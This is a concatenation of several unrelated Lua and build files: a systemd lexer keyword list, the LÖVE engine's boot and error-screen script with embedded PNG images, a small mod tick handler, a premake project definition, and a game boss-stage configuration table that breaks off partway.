'JobTimeoutAction',
'JobTimeoutRebootArgument',
'StartLimitInterval',
'StartLimitBurst',
'StartLimitAction',
'RebootArgument',
'ConditionArchitecture',
'ConditionVirtualization',
'ConditionHost',
'ConditionKernelCommandLine',
'ConditionSecurity',
'ConditionCapability',
'ConditionACPower',
'ConditionNeedsUpdate',
'ConditionFirstBoot',
'ConditionPathExists',
'ConditionPathExistsGlob',
'ConditionPathIsDirectory',
'ConditionPathIsSymbolicLink',
'ConditionPathIsMountPoint',
'ConditionPathIsReadWrite',
'ConditionDirectoryNotEmpty',
'ConditionFileNotEmpty',
'ConditionFileIsExecutable',
'AssertArchitecture',
'AssertVirtualization',
'AssertHost',
'AssertKernelCommandLine',
'AssertSecurity',
'AssertCapability',
'AssertACPower',
'AssertNeedsUpdate',
'AssertFirstBoot',
'AssertPathExists',
'AssertPathExistsGlob',
'AssertPathIsDirectory',
'AssertPathIsSymbolicLink',
'AssertPathIsMountPoint',
'AssertPathIsReadWrite',
'AssertDirectoryNotEmpty',
'AssertFileNotEmpty',
'AssertFileIsExecutable',
'SourcePath',
-- install section options
'Alias',
'WantedBy',
'RequiredBy',
'Also',
'DefaultInstance',
-- service section options
'Type',
'RemainAfterExit',
'GuessMainPID',
'PIDFile',
'BusName',
'BusPolicy',
'ExecStart',
'ExecStartPre',
'ExecStartPost',
'ExecReload',
'ExecStop',
'ExecStopPost',
'RestartSec',
'TimeoutStartSec',
'TimeoutStopSec',
'TimeoutSec',
'RuntimeMaxSec',
'WatchdogSec',
'Restart',
'SuccessExitStatus',
'RestartPreventExitStatus',
'RestartForceExitStatus',
'PermissionsStartOnly',
'RootDirectoryStartOnly',
'NonBlocking',
'NotifyAccess',
'Sockets',
'FailureAction',
'FileDescriptorStoreMax',
'USBFunctionDescriptors',
'USBFunctionStrings',
-- socket section options
'ListenStream',
'ListenDatagram',
'ListenSequentialPacket',
'ListenFIFO',
'ListenSpecial',
'ListenNetlink',
'ListenMessageQueue',
'ListenUSBFunction',
'SocketProtocol',
'BindIPv6Only',
'Backlog',
'BindToDevice',
'SocketUser',
'SocketGroup',
'SocketMode',
'DirectoryMode',
'Accept',
'Writable',
'MaxConnections',
'KeepAlive',
'KeepAliveTimeSec',
'KeepAliveIntervalSec',
'KeepAliveProbes',
'NoDelay',
'Priority',
'DeferAcceptSec',
'ReceiveBuffer',
'SendBuffer',
'IPTOS',
'IPTTL',
'Mark',
'ReusePort',
'SmackLabel',
'SmackLabelIPIn',
'SmackLabelIPOut',
'SELinuxContextFromNet',
'PipeSize',
'MessageQueueMaxMessages',
'MessageQueueMessageSize',
'FreeBind',
'Transparent',
'Broadcast',
'PassCredentials',
'PassSecurity',
'TCPCongestion',
'ExecStartPre',
'ExecStartPost',
'ExecStopPre',
'ExecStopPost',
'TimeoutSec',
'Service',
'RemoveOnStop',
'Symlinks',
'FileDescriptorName',
-- mount section options
'What',
'Where',
'Type',
'Options',
'SloppyOptions',
'DirectoryMode',
'TimeoutSec',
-- path section options
'PathExists',
'PathExistsGlob',
'PathChanged',
'PathModified',
'DirectoryNotEmpty',
'Unit',
'MakeDirectory',
'DirectoryMode',
-- timer section options
'OnActiveSec',
'OnBootSec',
'OnStartupSec',
'OnUnitActiveSec',
'OnUnitInactiveSec',
'OnCalendar',
'AccuracySec',
'RandomizedDelaySec',
'Unit',
'Persistent',
'WakeSystem',
'RemainAfterElapse',
-- exec section options
'WorkingDirectory',
'RootDirectory',
'User',
'Group',
'SupplementaryGroups',
'Nice',
'OOMScoreAdjust',
'IOSchedulingClass',
'IOSchedulingPriority',
'CPUSchedulingPolicy',
'CPUSchedulingPriority',
'CPUSchedulingResetOnFork',
'CPUAffinity',
'UMask',
'Environment',
'EnvironmentFile',
'PassEnvironment',
'StandardInput',
'StandardOutput',
'StandardError',
'TTYPath',
'TTYReset',
'TTYVHangup',
'TTYVTDisallocate',
'SyslogIdentifier',
'SyslogFacility',
'SyslogLevel',
'SyslogLevelPrefix',
'TimerSlackNSec',
'LimitCPU',
'LimitFSIZE',
'LimitDATA',
'LimitSTACK',
'LimitCORE',
'LimitRSS',
'LimitNOFILE',
'LimitAS',
'LimitNPROC',
'LimitMEMLOCK',
'LimitLOCKS',
'LimitSIGPENDING',
'LimitMSGQUEUE',
'LimitNICE',
'LimitRTPRIO',
'LimitRTTIME',
'PAMName',
'CapabilityBoundingSet',
'AmbientCapabilities',
'SecureBits',
'Capabilities',
'ReadWriteDirectories',
'ReadOnlyDirectories',
'InaccessibleDirectories',
'PrivateTmp',
'PrivateDevices',
'PrivateNetwork',
'ProtectSystem',
'ProtectHome',
'MountFlags',
'UtmpIdentifier',
'UtmpMode',
'SELinuxContext',
'AppArmorProfile',
'SmackProcessLabel',
'IgnoreSIGPIPE',
'NoNewPrivileges',
'SystemCallFilter',
'SystemCallErrorNumber',
'SystemCallArchitectures',
'RestrictAddressFamilies',
'Personality',
'RuntimeDirectory',
'RuntimeDirectoryMode'
}
local preproc = token(l.PREPROCESSOR, option_word)
-- Identifiers.
local word = (l.alpha + '_') * (l.alnum + S('_.'))^0
local identifier = token(l.IDENTIFIER, word)
-- Operators.
local operator = token(l.OPERATOR, '=')
M._rules = {
{'whitespace', ws},
{'keyword', keyword},
{'string', string},
{'preproc', preproc},
{'identifier', identifier},
{'comment', comment},
{'number', number},
{'operator', operator},
}
M._LEXBYLINE = true
return M
|
--[[
Copyright (c) 2006-2014 LOVE Development Team
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
--]]
-- Make sure love exists.
local love = require("love")
-- Used for setup:
love.path = {}
love.arg = {}
-- Replace any \ with /.
function love.path.normalslashes(p)
return string.gsub(p, "\\", "/")
end
-- Makes sure there is a slash at the end
-- of a path.
function love.path.endslash(p)
if string.sub(p, string.len(p)-1) ~= "/" then
return p .. "/"
else
return p
end
end
-- Checks whether a path is absolute or not.
function love.path.abs(p)
local tmp = love.path.normalslashes(p)
-- Path is absolute if it starts with a "/".
if string.find(tmp, "/") == 1 then
return true
end
-- Path is absolute if it starts with a
-- letter followed by a colon.
if string.find(tmp, "%a:") == 1 then
return true
end
-- Relative.
return false
end
-- Converts any path into a full path.
function love.path.getfull(p)
if love.path.abs(p) then
return love.path.normalslashes(p)
end
local cwd = love.filesystem.getWorkingDirectory()
cwd = love.path.normalslashes(cwd)
cwd = love.path.endslash(cwd)
-- Construct a full path.
local full = cwd .. love.path.normalslashes(p)
-- Remove trailing /., if applicable
return full:match("(.-)/%.$") or full
end
-- Returns the leaf of a full path.
function love.path.leaf(p)
local a = 1
local last = p
while a do
a = string.find(p, "/", a+1)
if a then
last = string.sub(p, a+1)
end
end
return last
end
-- Finds the key in the table with the lowest integral index. The lowest
-- will typically the executable, for instance "lua5.1.exe".
function love.arg.getLow(a)
local m = math.huge
for k,v in pairs(a) do
if k < m then
m = k
end
end
return a[m]
end
love.arg.options = {
console = { a = 0 },
fused = {a = 0 },
game = { a = 1 }
}
function love.arg.parse_option(m, i)
m.set = true
if m.a > 0 then
m.arg = {}
for j=i,i+m.a-1 do
table.insert(m.arg, arg[j])
i = j
end
end
return i
end
function love.arg.parse_options()
local game
local argc = #arg
for i=1,argc do
-- Look for options.
local s, e, m = string.find(arg[i], "%-%-(.+)")
if m and love.arg.options[m] then
i = love.arg.parse_option(love.arg.options[m], i+1)
elseif not game then
game = i
end
end
if not love.arg.options.game.set then
love.arg.parse_option(love.arg.options.game, game or 0)
end
end
function love.createhandlers()
-- Standard callback handlers.
love.handlers = setmetatable({
keypressed = function (b, u)
if love.keypressed then return love.keypressed(b, u) end
end,
keyreleased = function (b)
if love.keyreleased then return love.keyreleased(b) end
end,
textinput = function (t)
if love.textinput then return love.textinput(t) end
end,
textedit = function (t,s,l)
if love.textedit then return love.textedit(t,s,l) end
end,
mousepressed = function (x,y,b,t)
if love.mousepressed then return love.mousepressed(x,y,b,t) end
end,
mousereleased = function (x,y,b,t)
if love.mousereleased then return love.mousereleased(x,y,b,t) end
end,
touchpressed = function (id,x,y,p)
if love.touchpressed then return love.touchpressed(id,x,y,p) end
end,
touchreleased = function (id,x,y,p)
if love.touchreleased then return love.touchreleased(id,x,y,p) end
end,
touchmoved = function (id,x,y,p)
if love.touchmoved then return love.touchmoved(id,x,y,p) end
end,
touchgestured = function (x,y,theta,dist,num)
if love.touchgestured then return love.touchgestured(x,y,theta,dist,num) end
end,
joystickpressed = function (j,b)
if love.joystickpressed then return love.joystickpressed(j,b) end
end,
joystickreleased = function (j,b)
if love.joystickreleased then return love.joystickreleased(j,b) end
end,
joystickaxis = function (j,a,v)
if love.joystickaxis then return love.joystickaxis(j,a,v) end
end,
joystickhat = function (j,h,v)
if love.joystickhat then return love.joystickhat(j,h,v) end
end,
gamepadpressed = function (j,b)
if love.gamepadpressed then return love.gamepadpressed(j,b) end
end,
gamepadreleased = function (j,b)
if love.gamepadreleased then return love.gamepadreleased(j,b) end
end,
gamepadaxis = function (j,a,v)
if love.gamepadaxis then return love.gamepadaxis(j,a,v) end
end,
joystickadded = function (j)
if love.joystickadded then return love.joystickadded(j) end
end,
joystickremoved = function(j)
if love.joystickremoved then return love.joystickremoved(j) end
end,
focus = function (f)
if love.focus then return love.focus(f) end
end,
mousefocus = function (f)
if love.mousefocus then return love.mousefocus(f) end
end,
visible = function (v)
if love.visible then return love.visible(v) end
end,
quit = function ()
return
end,
threaderror = function (t, err)
if love.threaderror then return love.threaderror(t, err) end
end,
resize = function(w, h)
if love.resize then return love.resize(w, h) end
end,
}, {
__index = function(self, name)
error("Unknown event: " .. name)
end,
})
end
local is_fused_game = false
local no_game_code = false
local function uridecode(s)
return s:gsub("%%%x%x", function(str)
return string.char(tonumber(str:sub(2), 16))
end)
end
-- This can't be overriden.
function love.boot()
-- This is absolutely needed.
require("love")
require("love.filesystem")
love.arg.parse_options()
local o = love.arg.options
local arg0 = love.arg.getLow(arg)
love.filesystem.init(arg0)
-- Is this one of those fancy "fused" games?
local can_has_game = pcall(love.filesystem.setSource, arg0)
is_fused_game = can_has_game
if love.arg.options.fused.set then
is_fused_game = true
end
if not can_has_game and o.game.set and o.game.arg[1] then
local nouri = o.game.arg[1]
if nouri:sub(1, 7) == "file://" then
nouri = uridecode(nouri:sub(8))
end
local full_source = love.path.getfull(nouri)
local leaf = love.path.leaf(full_source)
leaf = leaf:gsub("^([%.]+)", "") -- strip leading "."'s
leaf = leaf:gsub("%.([^%.]+)$", "") -- strip extension
leaf = leaf:gsub("%.", "_") -- replace remaining "."'s with "_"
love.filesystem.setIdentity(leaf)
can_has_game = pcall(love.filesystem.setSource, full_source)
end
if can_has_game and not (love.filesystem.exists("main.lua") or love.filesystem.exists("conf.lua")) then
no_game_code = true
end
love.filesystem.setFused(is_fused_game)
if not can_has_game then
love.nogame()
end
end
function love.init()
-- Create default configuration settings.
-- NOTE: Adding a new module to the modules list
-- will NOT make it load, see below.
local c = {
title = "Untitled",
version = love._version,
window = {
width = 800,
height = 600,
minwidth = 1,
minheight = 1,
fullscreen = false,
fullscreentype = "normal",
display = 1,
vsync = true,
fsaa = 0,
borderless = false,
resizable = false,
centered = true,
highdpi = false,
srgb = false,
},
modules = {
event = true,
keyboard = true,
mouse = true,
timer = true,
joystick = true,
image = true,
graphics = true,
audio = true,
math = true,
physics = true,
sound = true,
system = true,
font = true,
thread = true,
touch = true,
window = true,
},
console = false, -- Only relevant for windows.
identity = false,
appendidentity = false,
}
-- If config file exists, load it and allow it to update config table.
if not love.conf and love.filesystem and love.filesystem.exists("conf.lua") then
require("conf")
end
-- Yes, conf.lua might not exist, but there are other ways of making
-- love.conf appear, so we should check for it anyway.
if love.conf then
local ok, err = pcall(love.conf, c)
if not ok then
print(err)
-- continue
end
end
if love.arg.options.console.set then
c.console = true
end
-- Console hack
if c.console and love._openConsole then
love._openConsole()
end
-- Gets desired modules.
for k,v in ipairs{
"thread",
"timer",
"event",
"keyboard",
"joystick",
"mouse",
"touch",
"sound",
"system",
"audio",
"image",
"font",
"window",
"graphics",
"math",
"physics",
} do
if c.modules[v] then
require("love." .. v)
end
end
if love.event then
love.createhandlers()
end
-- Setup window here.
if c.window and c.modules.window then
assert(love.window.setMode(c.window.width, c.window.height,
{
fullscreen = c.window.fullscreen,
fullscreentype = c.window.fullscreentype,
vsync = c.window.vsync,
fsaa = c.window.fsaa,
resizable = c.window.resizable,
minwidth = c.window.minwidth,
minheight = c.window.minheight,
borderless = c.window.borderless,
centered = c.window.centered,
display = c.window.display,
highdpi = c.window.highdpi,
srgb = c.window.srgb,
}), "Could not set window mode")
love.window.setTitle(c.window.title or c.title)
if c.window.icon then
assert(love.image, "If an icon is set in love.conf, love.image has to be loaded!")
love.window.setIcon(love.image.newImageData(c.window.icon))
end
end
-- Our first timestep, because window creation can take some time
if love.timer then
love.timer.step()
end
if love.filesystem then
love.filesystem.setIdentity(c.identity or love.filesystem.getIdentity(), c.appendidentity)
if love.filesystem.exists("main.lua") then
require("main")
end
end
if no_game_code then
error("No code to run\nYour game might be packaged incorrectly\nMake sure main.lua is at the top level of the zip")
end
-- Check the version
local compat = false
c.version = tostring(c.version)
for i, v in ipairs(love._version_compat) do
if c.version == v then
compat = true
break
end
end
if not compat then
local major, minor, revision = c.version:match("^(%d+)%.(%d+)%.(%d+)$")
if (not major or not minor or not revision) or (major ~= love._version_major and minor ~= love._version_minor) then
local msg = "This game was made for a different version of LÖVE.\n"..
"It may not be not be compatible with the running version ("..love._version..")."
print(msg)
local can_display = love.window and love.window.isCreated()
can_display = can_display and love.graphics and love.graphics.isCreated()
if can_display and love.timer and love.event then
love.graphics.setBackgroundColor(89, 157, 220)
love.graphics.origin()
local start = love.timer.getTime()
while love.timer.getTime() < start + 4 do
love.event.pump()
love.graphics.clear()
love.graphics.print(msg, 70, 70)
love.graphics.present()
love.timer.sleep(1/20)
end
love.graphics.setBackgroundColor(0, 0, 0)
end
end
end
end
function love.run()
if love.math then
love.math.setRandomSeed(os.time())
end
if love.event then
love.event.pump()
end
if love.load then love.load(arg) end
-- We don't want the first frame's dt to include time taken by love.load.
if love.timer then love.timer.step() end
local dt = 0
-- Main loop time.
while true do
-- Process events.
if love.event then
love.event.pump()
for n,a,b,c,d,e in love.event.poll() do
if n == "quit" then
if not love.quit or not love.quit() then
if love.audio then
love.audio.stop()
end
return
end
end
love.handlers[n](a,b,c,d,e)
end
end
-- Update dt, as we'll be passing it to update
if love.timer then
love.timer.step()
dt = love.timer.getDelta()
end
-- Call update and draw
if love.update then love.update(dt) end -- will pass 0 if love.timer is disabled
if love.window and love.graphics and love.window.isCreated() then
love.graphics.clear()
love.graphics.origin()
if love.draw then love.draw() end
love.graphics.present()
end
if love.timer then love.timer.sleep(0.001) end
end
end
-----------------------------------------------------------
-- Default screen.
-----------------------------------------------------------
function love.nogame()
local baby_png =
"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ClhBoCUMANASpgBICXMAJASZgBICTMApIQZAFLCDAApYQaAlDADQEqYASAlzACQEmYA\
SAkzAKSEGQBSwgwAKWEGgJQwA0BKmAEgJcwAkBJmAEgJMwCkhBkAUsIMAClhBoCUMANASpgB\
ICXMAJASZgBICTMApIQZAFLCDAApYf8DcD99Gl27kUkAAAAASUVORK5CYII=\
"
local inspector_png =
"iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAYAAABccqhmAAAgAElEQVR4nOy9ebwlV1Uv/l1V\
Z7hD973dnR4ydyfdhBAyQBBMCCBDngJRGcWfT1QEUQH1Z+CJgk9BHjjA84GATIrTD5+oPPzJ\
E0UhAWQMICRkAEJC5nnovt13PPdU7ffHrr1rrbVXndvEO/Tz1urP7VOnag9rr+G71t61qw45\
59BSSy1tTso2moGWWmpp46gFgJZa2sTUAkBLLW1iagGgpZY2MbUA0FJLm5haAGippU1MLQC0\
1NImphYAWmppE1MLAC21tImpBYCWWtrE1AJASy1tYmoBoKWWNjG1ANBSS5uYWgBoqaVNTC0A\
tNTSJqYWAFpqaRNTCwAttbSJqQWAllraxNQCQEstbWJqAaClljYxtQDQUkubmFoAaKmlTUwt\
ALTU0iamFgBaamkTUwsALbW0iakFgJZa2sTUAkBLLW1iagGgpZY2MbUA0FJLm5haAGippU1M\
LQC01NImphYAWmppE1MLAC21tImpBYCWWtrE1AJASy1tYmoBoKWWNjG1ANBSS5uYWgBoqaVN\
TC0AtNTSJqYWAFpqaRNTCwAttbSJqQWAllraxNQCQEstbWJqAaClljYxtQDQUkubmFoAaKml\
TUwtALTU0iamFgBaamkTU2ejGWippf8otH/fvnhMIADADTfftEHcHB21GUBLLa0uPYtA1wOY\
3mhGjoZaAGippVUgFv1/yjn3MACXOjgc2HfaxjF1FNQCQEstrR51AVwMAhzcywjUc3AbzdNI\
agGgpZZWgxxAoMfDYWs1/9/t4H5go9laiVoAaKmlVSLn3NOJqPoCEOgFcMD+vfs2lK9R1AJA\
Sy39OynM/4nomc5VKb/HgR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\
AJdgW6rjsLnufdjWaH8a4HzgLuD4Ap2EXLXm0xEpFI0Az2Bbn0X73GBvfRe2KAS2iHQ5cC5w\
AdY5LwK/onrBqK+4A7gI28pdniEfR+XIVN4CTkQOimKAVuxt3Uj+StzRwHLgZuzbPj9DvgAj\
19vAu6jHnvk7GEWfgEPYSZnhPjGyytMObNk5jas9XU/s/H5jJBwK/SN2HAvgbmwdPUEHFnMA\
fO9oOvVOwUg5EnYOFpO0Ym/6vdhRrlux6H899imI6CdGCgHAdhBX0vt/cluww5x7e5WIqImR\
RACwkeBmbL6/BTvguY44/RswRhoBIoYYIyEIjKgjIgFKjkiAkiMSoOSIBCg5IgFKjkiAkiMS\
oOSIBCg5IgFKjkiAkiMSoOSIBCg5IgFKjkiAkiMSoOSIBCg5IgFKjkiAkiMSoOSIBCg5IgFK\
jkiAkiMSoOSIBCg5IgFKjkiAkiMSoOSIBCg5IgFKjv8D/zcFVeg+jbUAAAAASUVORK5CYII=\
"
local function loadimage(file, name)
return love.graphics.newImage(love.image.newImageData(love.filesystem.newFileData(file, name:gsub("_", "."), "base64")))
end
local inspector = {}
local background = {}
local bubble = {}
local text = {}
local rain = {}
local g_time = 0
local create_rain
function love.load()
-- Subtractive blending isn't supported on some ancient systems, so
-- we should make sure it still looks decent in that case.
if love.graphics.isSupported("subtractive") then
love.graphics.setBackgroundColor(137, 194, 218)
else
love.graphics.setBackgroundColor(11, 88, 123)
end
local win_w = love.graphics.getWidth()
local win_h = love.graphics.getHeight()
inspector.image = loadimage(inspector_png, "inspector.png")
inspector.img_w = inspector.image:getWidth()
inspector.img_h = inspector.image:getHeight()
inspector.x = win_w * 0.45
inspector.y = win_h * 0.55
background.image = loadimage(background_png, "background.png")
background.img_w = background.image:getWidth()
background.img_h = background.image:getHeight()
background.x = 0
background.y = 0
bubble.image = loadimage(bubble_png, "bubble.png")
bubble.img_w = bubble.image:getWidth()
bubble.img_h = bubble.image:getHeight()
bubble.x = 140
bubble.y = -80
text.image = loadimage(text_png, "text.png")
text.x = 25
text.y = 9
-- Baby Rain
rain.spacing_x = 110
rain.spacing_y = 80
rain.image = loadimage(baby_png, "baby.png")
rain.img_w = rain.image:getWidth()
rain.img_h = rain.image:getHeight()
rain.ox = -rain.img_w / 2
rain.oy = -rain.img_h / 2
rain.batch = love.graphics.newSpriteBatch(rain.image, 512)
rain.t = 0
create_rain()
end
function create_rain()
local batch = rain.batch
local sx = rain.spacing_x
local sy = rain.spacing_y
local ox = rain.ox
local oy = rain.oy
local m = 1 / love.window.getPixelScale()
local batch_w = 2 * math.ceil(m * love.graphics.getWidth() / sx) + 2
local batch_h = 2 * math.ceil(m * love.graphics.getHeight() / sy) + 2
batch:clear()
if batch:getBufferSize() < batch_w * batch_h then
batch:setBufferSize(batch_w * batch_h)
end
batch:bind()
for i = 0, batch_h - 1 do
for j = 0, batch_w - 1 do
local is_even = (j % 2) == 0
local offset_y = is_even and 0 or sy / 2
local x = ox + j * sx
local y = oy + i * sy + offset_y
batch:add(x, y)
end
end
batch:unbind()
end
local function update_rain(t)
rain.t = t
end
function love.resize(w, h)
create_rain()
end
function love.update(dt)
g_time = g_time + dt / 2
local int, frac = math.modf(g_time)
update_rain(frac)
local scale = love.window.getPixelScale()
inspector.x = love.graphics.getWidth() * 0.45 / scale
inspector.y = love.graphics.getHeight() * 0.55 / scale
end
local function draw_grid()
local blendmode = "subtractive"
if not love.graphics.isSupported("subtractive") then
-- We also change the background color in this case, so it looks OK.
blendmode = "additive"
end
local y = rain.spacing_y * rain.t
local small_y = -rain.spacing_y + y / 2
local big_y = -rain.spacing_y + y
love.graphics.setBlendMode(blendmode)
love.graphics.setColor(255, 255, 255, 128)
love.graphics.draw(rain.batch, -rain.spacing_x, small_y, 0, 0.5, 0.5)
love.graphics.setBlendMode("alpha")
love.graphics.setColor(255, 255, 255, 255)
love.graphics.draw(rain.batch, -rain.spacing_x, big_y)
end
local function draw_text(x, y)
local int, frac = math.modf(g_time)
if frac < 0.5 then
return
end
local tx = x + text.x
local ty = y + text.y
love.graphics.draw(text.image, tx, ty, 0, 1, 1, 70, 70)
end
local function draw_background(x, y)
local intensity = (math.sin(math.pi * g_time * 2) + 1) / 2
local bx = x
local by = y
love.graphics.setColor(255, 255, 255, 64 + 16*intensity)
love.graphics.draw(background.image, bx, by, 0, 0.7, 0.7, 256, 256)
love.graphics.setColor(255, 255, 255, 32 + 16*intensity)
love.graphics.draw(background.image, bx, by, 0, 0.65, 0.65, 256, 256)
love.graphics.setBlendMode("additive")
love.graphics.setColor(255, 255, 255, 16 + 16*intensity)
love.graphics.draw(background.image, bx, by, 0, 0.6, 0.6, 256, 256)
end
local function draw_bubble(x, y)
local osc = 10 * math.sin(math.pi * g_time)
local bx = x + bubble.x
local by = y + bubble.y + osc
love.graphics.draw(bubble.image, bx, by, 0, 1, 1, 70, 70)
draw_text(bx, by)
end
local function draw_inspector()
local x, y = inspector.x, inspector.y
local ox, oy = inspector.img_w / 2, inspector.img_h / 2
draw_background(x, y)
love.graphics.setColor(255, 255, 255, 255)
love.graphics.setBlendMode("alpha")
love.graphics.draw(inspector.image, x, y, 0, 1, 1, ox, oy)
draw_bubble(x, y)
end
function love.draw()
love.graphics.setColor(255, 255, 255)
love.graphics.push()
love.graphics.scale(love.window.getPixelScale())
draw_grid()
draw_inspector()
love.graphics.pop()
end
function love.keyreleased(key)
if key == "escape" then
love.event.quit()
end
end
function love.conf(t)
t.title = "L\195\150VE " .. love._version .. " (" .. love._version_codename .. ")"
t.modules.audio = false
t.modules.sound = false
t.modules.physics = false
t.modules.joystick = false
t.window.resizable = true
t.window.highdpi = true
end
end
-----------------------------------------------------------
-- Error screen.
-----------------------------------------------------------
local debug, print = debug, print
local function error_printer(msg, layer)
print((debug.traceback("Error: " .. tostring(msg), 1+(layer or 1)):gsub("\n[^\n]+$", "")))
end
function love.errhand(msg)
msg = tostring(msg)
error_printer(msg, 2)
if not love.window or not love.graphics or not love.event then
return
end
if not love.graphics.isCreated() or not love.window.isCreated() then
local success, status = pcall(love.window.setMode, 800, 600)
if not success or not status then
return
end
end
-- Reset state.
if love.mouse then
love.mouse.setVisible(true)
love.mouse.setGrabbed(false)
end
if love.joystick then
-- Stop all joystick vibrations.
for i,v in ipairs(love.joystick.getJoysticks()) do
v:setVibration()
end
end
if love.audio then love.audio.stop() end
love.graphics.reset()
love.graphics.setBackgroundColor(89, 157, 220)
local font = love.graphics.setNewFont(14)
love.graphics.setColor(255, 255, 255, 255)
local trace = debug.traceback()
love.graphics.clear()
love.graphics.origin()
local err = {}
table.insert(err, "Error\n")
table.insert(err, msg.."\n\n")
for l in string.gmatch(trace, "(.-)\n") do
if not string.match(l, "boot.lua") then
l = string.gsub(l, "stack traceback:", "Traceback\n")
table.insert(err, l)
end
end
local p = table.concat(err, "\n")
p = string.gsub(p, "\t", "")
p = string.gsub(p, "%[string \"(.-)\"%]", "%1")
local function draw()
love.graphics.clear()
love.graphics.printf(p, 70, 70, love.graphics.getWidth() - 70)
love.graphics.present()
end
while true do
love.event.pump()
for e, a, b, c in love.event.poll() do
if e == "quit" then
return
end
if e == "keypressed" and a == "escape" then
return
end
end
draw()
if love.timer then
love.timer.sleep(0.1)
end
end
end
local function deferErrhand(...)
local handler = love.errhand or error_printer
return handler(...)
end
-----------------------------------------------------------
-- The root of all calls.
-----------------------------------------------------------
return function()
local result = xpcall(love.boot, error_printer)
if not result then return 1 end
local result = xpcall(love.init, deferErrhand)
if not result then return 1 end
local result, retval = xpcall(love.run, deferErrhand)
if not result then return 1 end
return tonumber(retval) or 0
end
|
function register(state)
if not global.WB_states then
global.WB_states = {state}
else
table.insert(global.WB_states, state)
end
if #global.WB_states == 1 then
script.on_event(defines.events.on_tick, on_tick)
end
end
function on_tick(event)
if #global.WB_states == 0 then
script.on_event(defines.events.on_tick, nil)
else
-- Manually loop because we're removing items.
local i = 1
while i <= #global.WB_states do
local state = global.WB_states[i]
if state.stage <= #state.stages then
tick(state)
i = i + 1
else
table.remove(global.WB_states, i)
end
end
end
end
function on_load()
if global.WB_states and #global.WB_states > 0 then
script.on_event(defines.events.on_tick, on_tick)
end
end
script.on_load(on_load) |
project "gts_malloc_static"
flags "FatalWarnings"
kind "StaticLib"
language "C++"
targetdir "%{prj.location}/%{cfg.buildcfg}_%{cfg.architecture}"
includedirs {
"../../../source/gts/include",
}
files {
"../../../source/config.h",
"../../../source/gts/include/gts/platform/**.*",
"../../../source/gts/include/gts/analysis/**.*",
"../../../source/gts/include/gts/containers/**.*",
"../../../source/gts/include/gts/malloc/**.*",
"../../../source/gts/source/platform/**.*",
"../../../source/gts/source/analysis/**.*",
"../../../source/gts/source/containers/**.*",
"../../../source/gts/source/malloc/**.*"
}
|
return {
id = 1000331,
stages = {
{
stageIndex = 1,
failCondition = 1,
timeCount = 180,
passCondition = 1,
backGroundStageID = 1,
totalArea = {
-75,
20,
90,
70
},
playerArea = {
-75,
20,
42,
68
},
enemyArea = {},
mainUnitPosition = {
{
Vector3(-105, 0, 58),
Vector3(-105, 0, 78),
Vector3(-105, 0, 38)
},
[-1] = {
Vector3(15, 0, 58),
Vector3(15, 0, 78),
Vector3(15, 0, 38)
}
},
fleetCorrdinate = {
-80,
0,
75
},
waves = {
{
triggerType = 1,
waveIndex = 100,
preWaves = {},
triggerParams = {
timeout = 0.5
}
},
{
triggerType = 0,
waveIndex = 201,
conditionType = 1,
preWaves = {
100
},
triggerParams = {},
spawn = {
{
monsterTemplateID = 10013601,
moveCast = true,
delay = 1,
score = 0,
corrdinate = {
-15,
0,
55
},
bossData = {
hpBarNum = 100,
icon = "tierbici"
},
phase = {
{
switchParam = 1,
switchTo = 1,
index = 0,
switchType = 1,
setAI = 90004
},
{
index = 1,
switchType = 1,
switchTo = 2,
switchParam = 2.5,
addWeapon = {
474331
}
},
{
index = 2,
switchParam = 2.5,
switchTo = 3,
switchType = 1,
removeWeapon = {
474331
},
addWeapon = {
474331,
474341,
474351
}
},
{
index = 3,
switchParam = 3,
switchTo = 4,
switchType = 1,
removeWeapon = {
474331,
474341,
474351
},
addWeapon = {
474331,
474341,
474351,
474361,
474371
}
},
{
switchType = 1,
switchTo = 5,
index = 4,
switchParam = 1,
setAI = 10001,
removeWeapon = {
474331,
474341,
474351,
474361,
474371
}
},
{
index = 5,
switchType = 1,
switchTo = 6,
switchParam = 3,
addWeapon = {
474441
}
},
{
index = 6,
switchType = 1,
switchTo = 7,
switchParam = 1,
removeWeapon = {
474441
}
},
{
index = 7,
switchType = 1,
switchTo = 8,
switchParam = 3,
addWeapon = {
474442
}
},
{
switchType = 1,
switchTo = 9,
index = 8,
switchParam = 2,
setAI = 90004,
removeWeapon = {
474442
}
},
{
index = 9,
switchType = 1,
switchTo = 10,
switchParam = 2,
addWeapon = {
474331,
474341,
474351,
474361,
474371
}
},
{
index = 10,
switchType = 1,
switchTo = 11,
switchParam = 1,
removeWeapon = {
474331,
474341,
474351,
474361,
474371
}
},
{
index = 11,
switchType = 1,
switchTo = 12,
switchParam = 2,
addWeapon = {
474381,
474382,
474383,
474384,
474385
}
},
{
index = 12,
switchType = 1,
switchTo = 13,
switchParam = 2,
removeWeapon = {
474381,
474382,
474383,
474384,
474385
}
},
{
switchType = 1,
switchTo = 14,
index = 13,
switchParam = 10,
setAI = 10001,
addWeapon = {
474443
}
},
{
index = 14,
switchType = 1,
switchTo = 100,
switchParam = 2,
removeWeapon = {
474443
}
},
{
switchType = 1,
switchTo = 101,
index = 100,
switchParam = 1,
setAI = 90004,
removeWeapon = {
474443,
474411
},
addWeapon = {
474331,
474383
}
},
{
index = 101,
switchType = 1,
switchTo = 102,
switchParam = 1,
addWeapon = {
474341,
474384
}
},
{
index = 102,
switchType = 1,
switchTo = 103,
switchParam = 1,
addWeapon = {
474371,
474381,
474411
}
},
{
index = 103,
switchType = 1,
switchTo = 104,
switchParam = 1,
addWeapon = {
474361,
474382
}
},
{
index = 104,
switchType = 1,
switchTo = 105,
switchParam = 9,
addWeapon = {
474351,
474385
}
},
{
index = 105,
switchType = 1,
switchTo = 200,
switchParam = 2,
removeWeapon = {
474331,
474341,
474351,
474361,
474371,
474381,
474382,
474383,
474384,
474385,
474411
}
},
{
switchType = 1,
switchTo = 201,
index = 200,
switchParam = 2,
setAI = 10001,
addWeapon = {
474443
}
},
{
index = 201,
switchType = 1,
switchTo = 202,
switchParam = 15,
addWeapon = {
474401
}
},
{
switchType = 1,
switchTo = 100,
index = 202,
switchParam = 2,
